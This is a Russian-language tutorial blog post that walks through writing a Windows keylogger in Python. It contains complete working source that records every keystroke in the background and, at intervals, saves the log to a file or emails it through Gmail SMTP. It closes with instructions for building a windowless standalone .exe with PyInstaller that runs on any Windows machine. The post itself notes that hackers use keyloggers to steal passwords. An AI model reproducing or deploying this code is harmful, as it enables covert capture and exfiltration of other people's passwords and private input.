Пишем кейлоггер на Python для Windows за 5 минут

Пишем кейлоггер на Python для Windows за 5 минут

@deus


Что такое кейлоггер и зачем он нужен

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Скажем, когда вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка: устанавливаем Python и библиотеки

Для начала нам потребуется установить Python. Если это уже сделано, можете смело пропустить этот абзац и переходить к установке библиотеки. В противном случае скачайте и установите подходящий релиз с официальной страницы языка. В данном руководстве мы будем использовать версию Python 3.9, но, по сути, подойдет любая версия.

Кроме этого, нам понадобится библиотека keyboard. Она позволяет контролировать и регистрировать ввод с клавиатуры.


Ставим библиотеку простой командой в терминале:

pip3 install keyboard

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

import keyboard

import smtplib #для отправки электронной почты по протоколу SMTP (gmail)

#Таймер для запуска через заданный «интервал» времени.

from threading import Timer

from datetime import datetime


Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

Подробное видео на Youtube


Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Инициализируем параметры

SEND_REPORT_EVERY = 60 #время в секундах

EMAIL_ADDRESS = "mygmail@gmail.com"

EMAIL_PASSWORD = "mypassword"


Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

class Keylogger:

def __init__(self, interval, report_method="email"):

# передаем SEND_REPORT_EVERY в интервал

self.interval = interval

self.report_method = report_method

# это строковая переменная, которая содержит лог

self.log = ""

#запись начала и окончания даты и времени

self.start_dt = datetime.now()

self.end_dt = datetime.now()


Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.


def callback(self, event):

name = event.name

if len(name) > 1:

#не символ, специальная клавиша (например, ctrl, alt и т. д.)

#верхний регистр

if name == "space":

#" " вместо пробелов

name = " "

elif name == "enter":

#добавлять новую строку всякий раз, когда нажимается ENTER

name = "[ENTER]\n"

elif name == "decimal":

name = "."

else:

#замените пробелы символами подчеркивания

name = name.replace(" ", "_")

name = f"[{name.upper()}]"

#добавить имя ключа в глобальную переменную

self.log += name


Пишем метод для записи в локальный файл

def update_filename(self):

#создать имя файла, которое будет идентифицировано по дате начала и окончания записи

start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")

end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")

self.filename = f"keylog-{start_dt_str}_{end_dt_str}"


def report_to_file(self):

# создать файл

with open(f"{self.filename}.txt", "w") as f:

# записать лог

print(self.log, file=f)

print(f"[+] Saved {self.filename}.txt")


Отправка на email

def sendmail(self, email, password, message):

# управляет подключением к SMTP-серверу

server = smtplib.SMTP(host="smtp.gmail.com", port=587)

# подключиться к SMTP-серверу в режиме TLS

server.starttls()

# логин

server.login(email, password)

# отправить сообщение

server.sendmail(email, email, message)

# завершает сеанс

server.quit()


Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, найдите строку msg = _fix_eols(msg).encode('ascii')и замените ее на msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

def report(self):

if self.log:

self.end_dt = datetime.now()

# обновить `self.filename`

self.update_filename()

if self.report_method == "email":

self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)

elif self.report_method == "file":

self.report_to_file()

self.start_dt = datetime.now()

self.log = ""

timer = Timer(interval=self.interval, function=self.report)

timer.daemon = True

# старт

timer.start()


Давайте определим метод on_release():

def start(self):

#записать дату и время начала

self.start_dt = datetime.now()

#запустить кейлогер

keyboard.on_release(callback=self.callback)

self.report()

keyboard.wait()

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

if __name__ == "__main__":

# для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"

# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")

# для записи в локальный файл оставляем как есть

keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")

keylogger.start()

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller. Для этого ставим саму библиотеку:

pip3 install pyinstaller

И собираем все в файл:

pyinstaller --onefile -w 'keylogger.py'

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.


Report Page